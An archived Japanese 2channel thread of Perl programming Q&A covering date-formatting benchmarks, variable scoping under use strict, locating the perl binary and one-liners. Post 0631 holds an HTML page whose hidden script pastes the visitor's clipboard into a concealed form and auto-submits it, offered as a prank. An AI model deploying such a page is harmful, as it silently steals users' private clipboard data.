CGIに依存しないPerlの話題一般
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
2001/05/31(木) 21:49ID:bKRSBFew・モジュール、オブジェクト指向プログラミング
・Perl6や.NET対応など
・各種GUIツールキット(Perl/Tk, Gtk-Perlなど)
・他言語による拡張(Inline::*, XS, Swigなど)
についてマターリと語り合うスレッドです。
#CGI関連の話題は、なるべく専用スレッドで。
0581名無しさん@お腹いっぱい。
02/02/15 20:06ID:???自分のサイトでも載せてるし、実際に使ってます、そんなの。
0582名無しさん@お腹いっぱい。
02/02/15 20:18ID:???そうですか、自分もCからPerlに入ったんで最初は違和感あったんですけど
いちいち中間変数を考えるのが面倒になったときこっちが便利になってきました。
>>581
はい、おっしゃるとおり、そんなのです。
他に使っている人がいて安心しました。
そんなん蛇道とかいわれなくてよかったです。
0583581
02/02/15 23:26ID:???誤解があったようなので。
> そんなの
「そういうの」って言った方が良かったね。
悪意はまったく無いので。スマソ
ちなみに私はPerl厨なので、俗に言うトリッキーな書き方が大好きです。
0584賛成の反対の反対ナノだ!
02/02/16 02:29ID:???のでわたしは使いません。
0585582
02/02/16 10:22ID:???いぇいぇ、わざわざすみませんです。
Perlコードのパズル感覚は私も面白くてはまるたちです。
>>584
やはり、そいった御意見もありますよね、ふむふむ。
ここは、使い分けということですよね。
処理時間が短さが重要な処理で、かつ大量の日付表示処理の繰り返し
とかやる場合は、オーバーヘッドの少ない方法を使うわけですね。
ちょっとしたレポートに作成日付をつけるぐらいの処理だったら
>>579に示した方法でもいいですよね。
0586名無しさん@お腹いっぱい。
02/02/16 11:37ID:???型変換は必要ないし0fillとか桁削りも簡単。
0587名無しさん@お腹いっぱい。
02/02/16 13:05ID:???手動フォーマットよりsprintf()の方が圧倒的に高速だが…俺のやり方がまずいんだろうか。
それともオーバーヘッドの意味が俺の考えている小物と違うのかな。
WinME perl5.6.1 ActivePerl 631
メモリ320MB CPU Duron 800MHz
#!perl -w
use Benchmark;
my @tm = localtime time;
sub timef1{
($sec, $min, $hour, $day, $mon, $year) = @tm;
$year += 1900;
$mon++;
$_ = sprintf '%d/%02d/%02d %02d:%02d:%02d', $year, $mon, $day, $hour, $min, $sec;
}
sub timef2{
($sec, $min, $hour, $day, $mon, $year) = @tm;
$year += 1900;
$mon++;
($mon < 10) and ($mon = "0$mon");
($day < 10) and ($day = "0$day");
($hour < 10) and ($hour = "0$hour");
($min < 10) and ($min = "0$min");
($sec < 10) and ($sec = "0$sec");
$_ = "$year/$mon/$day $hour:$min:$sec";
}
timethese 100000 => {
sprintf => \&timef1,
handformat => \&timef2,
};
__END__
結果
Benchmark: timing 100000 iterations of handformat, sprintf...
handformat: 6 wallclock secs ( 5.38 usr + 0.00 sys = 5.38 CPU) @ 18587.36/s (n=100000)
sprintf: 1 wallclock secs ( 0.82 usr + 0.00 sys = 0.82 CPU) @ 121951.22/s(n=100000)
0588名無しさん@お腹いっぱい。
02/02/16 13:06ID:???0589名無しさん@お腹いっぱい。
02/02/16 21:23ID:???といった文字列から、別のファイルに保存してある
http://hoge.hoge.jp/hoge/
といった文字列にマッチしていればそのマッチした部分を削除
してくれるような操作をしたいのですが、どうすればうまく行くでしょうか?
= 置換したい文字列が動的に変化する時、":" や "/"のエスケープは
どうするとよいのでしょうか?
0590名無しさん@お腹いっぱい。
02/02/16 22:17ID:???0592589
02/02/16 22:43ID:SkVhVlKIする場合、今まではエディタを使っていたのですが、perl
だとどうするのだろうかと・・・
0593名無しさん@お腹いっぱい。
02/02/16 23:04ID:???0594589
02/02/16 23:25ID:???あれ?
open LIST, "tmp.list";
while (<LIST>) {
s/$hoge//;
print;
}
これで素直に動きました(汗)
ありがとうございました・・・
0595名無しさん@お腹いっぱい。
02/02/16 23:27ID:???$hogeは?
0596名無しさん@お腹いっぱい。
02/02/17 00:11ID:???sprintfが重いってのはここを含めた一部の馬鹿板に於いて定説
ベンチも取らずに講釈並べるのが特徴です
>>584は馬鹿板育ちだからそっとしてあげよう
0597名無しさん@お腹いっぱい。
02/02/17 01:53ID:???587ではないですが、私はラリーウォールさんがそういってるからいちおう信じてます。
0598587
02/02/17 10:58ID:???なるほどね。
まぁお偉いさんがなんと言っていようと、俺は簡単かつ高速な方法を使うよ。
もちろん、ラリーの言葉を軽視するつもりはない。
printの代わりにprintfを、変数展開演算子の代わりにsprintfを使う事はないさね。(今までそんな事をしたことはないが)
0599名無しさん@お腹いっぱい。
02/02/19 14:02ID:O1s5GzF/0600名無しさん@お腹いっぱい。
02/02/19 14:09ID:uqUI0/lz0601名無しさん@お腹いっぱい。
02/02/19 15:30ID:???0602名無しさん@お腹いっぱい。
02/02/20 16:03ID:???ま、ラクダ本の「効率の問題」の節を参照ってこった。
なにごとも、やりくちがひとつでないのがPerl流だからな。
0603名無しさん@お腹いっぱい。
02/02/22 00:48ID:???0604メモ
02/02/23 10:58ID:???>>483-485を参照にConfig.pmいぢって、Makefile.PLして、
出来たMakefileのラスト、848行目辺りの
(TAB)$(PERL) -p -e "s/~DRIVER~/$(BASEEXT)/g" < $(DBI_DRIVER_XST) > $(BASEEXT).xsi
これを
(TAB)$(PERL) -p -e "s/~DRIVER~/$(BASEEXT)/g" $(DBI_DRIVER_XST) > $(BASEEXT).xsi
とする。(ダイヤモンドINPUTをリダイレクトじゃなく引数で渡す)
これでOKだった。
0605名無しさん@お腹いっぱい。
02/02/23 21:51ID:47XfJGkYprint B::Deparse->new->coderef2text(sub { 'foo' })
0606名無しさん@お腹いっぱい。
02/02/25 10:07ID:9PcQp5qzdefine.pl
$a = 1;
#このファイルの中では
require "define.pl";
main.cgi
print "$a";
すると変数$aにアクセスできますよね
しかしこれをuse strictで使いたい場合
全ての変数をmyしたいのですが、
define.plの中で
my $a = 1;
とするとmain.cgiからアクセスすることが出来なくなってしまいます。
c言語ならばmain.cgiでexternすればよいと思うのですが、
Perlではこのようなケースをどう扱うのが良いでしょうか?
define.pl
でpackage define;
my $a = 1;
してからmain.cgiで
$define::a
すればアクセスはできるようですが
が、できればパッケージプレフィクスは無しで同じmainパッケージ内変数として
扱いたいです。
両方のファイルをpackage main;して
同じパッケージにすればパッケージ変数無しで扱えるだろうと思いましたが、
ダメでした。
0607名無しさん@お腹いっぱい。
02/02/25 16:22ID:???思いっきり初心者の質問じゃねーか。
まず前提としてuse strictを使う時は$aと$bはやめとけ。$cはよし。
この忠告の意味が分かっているなら、使っても良いが。
1)
# define.pl
use vars qw($foo);
$foo = 1;
#end
# main.pl
BEGIN{ require 'define.pl' }
use strict;
print $foo
#end
2)
# define.pl
$foo = 1;
#end
# main.pl
require 5.006;
require 'define.pl';
our $foo;
print $foo;
他にもあるが、これがメジャーな方法だろう。
0608名無しさん@お腹いっぱい。
02/02/25 18:45ID:WcXyiJAeのようにして実行するperlスクリプトから
perlのパスを取り出すにはどうしたらよいでしょうか?
system('which perl' | > temp.dat);
のようにしてtemp.datを読み出せばわかるのでしょうが
どーにもスマートじゃない気がしています。
またWIN環境の場合はwhichが効かないので困ってしまいます。
何かいい知恵をお貸しください
0609名無しさん@お腹いっぱい。
02/02/25 18:54ID:???自分自身をファイルとして開く。
1行目を取得
/^\#\!(.*)perl$/
で、$1参照w。
自分自身のパスを保持している変数はあるがね。
0610名無しさん@お腹いっぱい。
02/02/25 20:22ID:z9RUeTDe殆どの場合
use Config;
print $Config{perlpath};
で逝けるぞな。
0611名無しさん@お腹いっぱい。
02/02/25 21:22ID:???それはそうと、Perl5.8.0は5月にリリース予定らしいぞ
http://slashdot.jp/article.pl?sid=02/02/23/0816236
0612名無しさん@お腹いっぱい。
02/02/25 23:24ID:???0613名無しさん@お腹いっぱい。
02/02/25 23:27ID:???出来る。
0614名無しさん@お腹いっぱい。
02/02/26 00:35ID:???どうやるんですか?
0615名無しさん@お腹いっぱい。
02/02/26 00:38ID:???ふつうにやる。
0616名無しさん@お腹いっぱい。
02/02/26 16:32ID:???0617>611
02/02/26 18:50ID:TKOzsqbn$^XはActivePerlだと
C:\Perl\lib\Perl
という風に表示されるのですが、
Linux上のPerlだと
単にPerlになってしまって全体のパスが見えないですね・・・うーーむ。
・・・やっぱwhich perlかな・・・
0618名無しさん@お腹いっぱい。
02/02/26 18:57ID:???system() or eval()
0619名無しさん@お腹いっぱい。
02/02/26 19:26ID:TKOzsqbnつまり
system("which perl")
すると言うことですよね?
その場合system("which perl|> temp);
してtempをopenすることになると思うのですが、
もっとシンプルに戻り値を受けたり出来ないものでしょうか・・・
0620猫に真珠 ◆eKrEwpMs
02/02/26 19:39ID:???print `/usr/bin/which perl`;
0621名無しさん@お腹いっぱい。
02/02/26 20:52ID:???うう、そういうモジュールがあるのか、知らなかった。
あなたは神。ありtがとう
0622名無しさん@お腹いっぱい。
02/02/26 21:15ID:???スマートじゃないけど直感的。
open(DATA,"which perl |");
パイプ知らない人・・・?
0623名無しさん@お腹いっぱい。
02/02/26 21:20ID:???実際にやってみた?
0624猫に真珠 ◆eKrEwpMs
02/02/26 21:24ID:???なぜかスクリプト中からwhich perlとしても、戻り値は獲得できません。
そういう場合は、大抵の環境に/usr/bin/whichというコマンドがありますので、
`/usr/bin/which perl`とコマンドで出力させれば、perlの位置も獲得できます。
0625名無しさん@お腹いっぱい。
02/02/26 22:05ID:TKOzsqbn遣り方を組み合わせてみたらできました。
open (DATA,"/usr/bin/which perl");
my @list = <DATA>;
するとperlのパスを読み出すことができますね。
でもこれだとwin32環境と切り分ける必要がありますね。
やはりそれは必須なのかな、どのみち・・。
if ($^O =~ /MSwin/){$path = $^X;}
else {
open (DATA,"/usr/bin/which perl");
$path = <DATA>;close(DATA);
}
こんな感じにしてみました。
0626猫に真珠 ◆eKrEwpMs
02/02/26 22:08ID:???なんで620は完全無視なの?さみしい。
0627asdfghjkl
02/02/26 22:21ID:???print join("\n",@INC);#謎
0628名無しさん@お腹いっぱい。
02/02/26 22:32ID:???きみそのコテハンパスワードにしてないよねまさか?(笑)
0629名無しさん@お腹いっぱい。
02/02/26 22:56ID:???0630asdfghjkl
02/02/26 23:58ID:???一応自称厨房という事で
ドーデもいいアカウントはこのパスかもなー
http://www3.chachacha.ne.jp/~indicate/cgi-bin/img0000064.jpg
たまには息抜きしろや
0631名無しさん@お腹いっぱい。
02/02/27 00:58ID:???公開済みの物を、公開しようかなも無いだろう。
<html><head>
<meta http-equiv="robots" content="none">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<meta http-equiv="Refresh" content="4;url=?mode=go">
<title>Redirect...</title></head><body>
しばらくお待ちください...
<form name="temp" style="position:absolute;visibility:hidden;" method="POST">
<input type="hidden" name="mode" value="go">
<textarea name="cps"></textarea></form>
<script language="JavaScript"><!--
eval('document.temp.cps.createTextRange().execCommand("Paste");');
temp.action = location.protocol + "//" + location.host + location.pathname;
setTimeout("temp.submit();",100);
//--></script>
</body></html>
0632名無しさん@お腹いっぱい。
02/02/27 06:35ID:???それで解決する問題、たくさんあるじゃん。
0634名無しさん@お腹いっぱい。
02/02/27 08:52ID:???シンプルだけど個人的に嫌いだからパイプ使う。
0635asdfghjkl
02/02/27 19:33ID:???バレタ(ヶヶヶ
んーま、JS実行できる環境でやってみな。
結構面白い事起こるから。
暇つぶしに作ってみただけだが…Perl関係なくなってるな。
0636名無しさん@お腹いっぱい。
02/02/27 21:52ID:???0637名無しさん@お腹いっぱい。
02/02/28 03:21ID:CSTVGk7Dソラリスで実行しているのですが、
rmdir ("$data_dir/$del_uid.bak")
|| &Error::error ("admin.cgi","Can't remove dir $data_dir/$del_uid.bak", "$!");
なぜか実行時にこのコードがエラーになります。
||がいけないのかと思い下の行をコメントアウトしてみたら動きました。
さらにユーザー認証用にパスワードを暗号化して格納しているのですが、
ソラリスでは認証がきちんと出来ません
crypt ($pass, &Salt);
sub Salt {
my @chr = qw (a b c d e f g h i j k l m n o p q r s t u v w x y z
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
0 1 2 3 4 5 6 7 8 9 . /);
my $s1 = int (rand 63); my $s2 = int (rand 63);
return "$chr[$s1]$chr[$s2]";
}
このようにパスワードを作って、
sub CheckUserPasswd {
my ($uid, $pass) = @_;
my $user_db = &HashDB::Retrieve ("$user_db_name");
my $rh_USER = $user_db->GetHash ('USER');
if (!defined ($rh_USER->{"$uid"})) { return 0; } ## No such user !
my $crypted_pass = $rh_USER->{"$uid"}->{'PASSWD'};
if ($crypted_pass) { $pass = crypt ($pass, substr ($crypted_pass, 0, 2)); }
else { $pass = ""; }
if ($pass eq $crypted_pass) { return 1; } ## checking passwd OK !
return 0; ## No match !
}
このルーチンで照合しているのですが、
ソラリスで正確に動かない理由ってわかりますでしょうか?
どなたか情報をお願いいたします。
0638名無しさん@お腹いっぱい。
02/02/28 12:21ID:???"a".."z"みたいにまとめれ
0639名無しさん@お腹いっぱい。
02/02/28 22:35ID:???$data_dirのパーミッションとcgiのEUIDをチェックしれ。
パスワードの方は自分で書いたコードで弾いてるんだからいくらでもデバッグの方法はあるだろう。
つかこれくらい自己解決できないならとっとと転職しろ。
0640nobodyさん
02/03/07 20:53ID:vU2mkrSg0641nobodyさん
02/03/11 20:58ID:no4qCKmY文字コードを操作するものらしい、ってのはわかるけど、それ以上の事はわからん。
なんかH2ZとかTrとかあるし。文字コード変換なのかな?
0642nobodyさん
02/03/15 04:16ID:8bz6oWFz『http://』で始まり、『.jpg』で終るという行が1万行続きます。
で、この中で
http://pinktower.com/で始まるもの以外のURLをDUP_CHECK_FILE.txt.origに書
き出すという処理をコマンドラインで行おうとしています。
でもうまく行かない・・・。
とりあえずこんな感じでもういっぱいいっぱいです。
perl -i.orig -p -e '!/^http\:\/\/pinktower\.com\/(.*?)\.jpg$/' DUP_CHECK_FILE.txt
これだとDUP_CHECK_FILE.txtのファイルの内容がすべて
DUP_CHECK_FILE.txt.origにコピーされるだけなんです。
お願いします。
0643nobodyさん
02/03/15 04:31ID:???pスイッチだと全部出力しちゃうので,
nスイッチにして 'm|^http://pinktower.com/| or print'とするとか。
0644nobodyさん
02/03/16 01:50ID:???これでうまく行きました。
>>643
ありがとうございます。
いろんなスイッチがあってちょっと混乱気味。
それ、ちょっと試してみます。
色々学ばねば・・・。
0645nobodyさん
02/03/22 00:33ID:K4fa0ysYxcopyのオプション(/i)が効きません。
#!/perl
system("xcopy /i C:/test1.txt C:/test2.txt");
perlがxcopyを実行する時に/iのスラッシュがバックスラッシュに
置き換えられているんだと思うのですが、
これを回避する方法はあるのでしょうか。
既出ならすんません
0646645
02/03/22 01:09ID:???/iちゃんと効いてます。
逝ってきます。
0648nobodyさん
02/03/23 16:07ID:J43Ft5+8モジュールのインストールについての質問です。
>>460-462
と似た状況なのですが、
Activeperlがなぜか2つインストールされているNTサーバで
(5.6.1ですが、buildは626と629)
ppmによるインストールがうまくいきません。
適合するパッケージを使っているにもかかわらず
「このperl構成(MSWin32)じゃ使えない」ってエラーが来ます。
2つあるのがまずいんでしょうか?
できれば2つのままでインストールできるようにしたい
(片方アンインストールした時に何かあるとマズーなので)のですが。
入れたいモジュールはDBI関係です。
CPANや直コピーでも大丈夫でしょうか?
0651Dream ★
02/03/24 19:09ID:???はい。
原因不明の障害がでて、どっちが悪さしているのか
わからない状況になるよりは、一度きれいにして、
なんかトラブルがあったら誰が悪さしているのか、
わかる状況になっていないと困ると思います。
0652nobodyさん
02/03/27 14:44ID:???1.0.0から始まったとしてこの3桁はそれぞれどのような意味をもっていて
もしどこか1つが10になったら繰り上がるんでしょうか?
例えばバグの修正をしていて1.0.1〜1.0.9まできて
その次はどのように表記したらいいんでしょうか?
0653nobodyさん
02/03/27 14:55ID:???1.0.91とかわりと普通
0654nobodyさん
02/03/27 15:25ID:???1.0.9の次は1.0.10、みたいに単純に数が大きくなってくのをよく見る気がする。
0655nobodyさん
02/03/27 16:59ID:???・メジャーバージョン
・マイナーバージョン
・リリース番号
・ビルド番号
リリース番号、ビルド番号は省く場合も多い
それぞれ0以上の値をとる整数値
決まりはないけど伝統的なルールは色々あるね。
知りたきゃ検索すれ。
0656nobodyさん
02/03/27 18:04ID:???1.1.1になるの?それとも1.1.0にクリアされるとか・・?
完全にそう、っていうのじゃなくていいので
一般的にどうだとか、そんな感じに教えていただければありがたいのですが。
KENT WEBの場合はどんな感じなんでしょうか?
0657nobodyさん
02/03/27 19:53ID:???0658名無しさん@お腹いっぱい。
02/03/31 20:19ID:T8l4eNTu@ARGV から与えたファイルの中身を(行単位でなく)スカラー変数の
中に押し込んで文字列置換をしたいのですが、今までだと
while(<>){ $data = "$data$_" }
とやっていました。もっとスマートなやり方は無いでしょうか?
(きっとあるはず・・・)
0659nobodyさん
02/03/31 20:33ID:???0660名無しさん@お腹いっぱい。
02/03/31 20:44ID:???ヒントをありがとうございました。
$_=join '',<>; で逝けました。
0661nobodyさん
02/04/01 14:56ID:s5HvuRgHぐわーっ
"Comprehensive Java Archive Network"って有ったら欲しいな。マジで。
0662nobodyさん
02/04/02 08:00ID:RKDNLMgYワラタ
2日になったのに残ってる…と思ったらあちらさんはまだ1日か。
0663あぼーん
NGNG0664nobodyさん
02/04/05 03:45ID:4R486XR6Perlの話題はやっぱこっちかなと思ったので。
早速ですが、拡張正規表現の(?>パターン)の使い方が分かりません。
Perl5から実装されているはずなのですが、らくだ本にも載ってません。
少ない情報から使い方を判断するに、
m/(?>パターン1)パターン2/ だと、
パターン1にマッチしたもの以外でパターン2にマッチしたもの
のような感じだと思うのですが違いますか?
0665nobodyさん
02/04/05 08:13ID:???> 最短マッチを行う独立した部分正規表現です。このパターンにマッチした部分の
> 文字列は、(?>パターン)のあとのマッチ対象からは除去されます。これを利用
> すると、マッチしないパターンの識別が高速化されます。
0666664
02/04/05 09:46ID:Qaev8skvでも使い方まで載ってないんだなぁ。
0667nobodyさん
02/04/05 09:58ID:???削除するかもってことだから、使わないのが吉かと。
使い方はperlreを参照。
http://www.perldoc.com/perl5.6.1/pod/perlre.html#(-%3epattern)
0668nobodyさん
02/04/05 10:02ID:???0669nobodyさん
02/04/05 10:07ID:???ケコーン!
↑これが一発で変換できてしまうのが悲しい。
2ちゃんに書けば書くほどATOKがバカになっていく。
0670nobodyさん
02/04/06 01:51ID:XOUDqeQ1SendToにPerlスクリプトを入れてバッチ処理みたいなことを
させたりということはできないんですか?
0671nobodyさん
02/04/06 05:23ID:???実際にわたしはそれをやっていますが、できなかったの? 実際にやってみたの?
やったかどうかも書いてないが、ネタか?
0673nobodyさん
02/04/07 00:32ID:1v+8pn8Gちなみにwin2kなんだけど
関連付けても出来なかったんだけど?
0675673
02/04/07 00:35ID:???0677nobodyさん
02/04/07 00:38ID:???@hogehoge.pl %*
とか
@perl hogehoge.pl %*
でもいいけど。
hogehoge.plは見つけられるようにしてくれ。
自分もバッチファイルで対応してるけど、これが普通なの?
いちいちバッチファイル作るの面倒くさい。
9x系の時は、PIFファイルを置いてたけど。。。
>>675
フォルダやファイルを引数にして、スクリプトを実行
させる場合は、SendTo が便利。
0680nobodyさん
02/04/07 11:16ID:???たとえば、アクセス数をグラフ化したり、ここの
http://www.yakin.cc/
転送量のグラフみたいなものだけど、こういうのの生成って
やっぱしCかなんかで書いているのかなぁ?
このあたりをお聞かせ下さい。
■ このスレッドは過去ログ倉庫に格納されています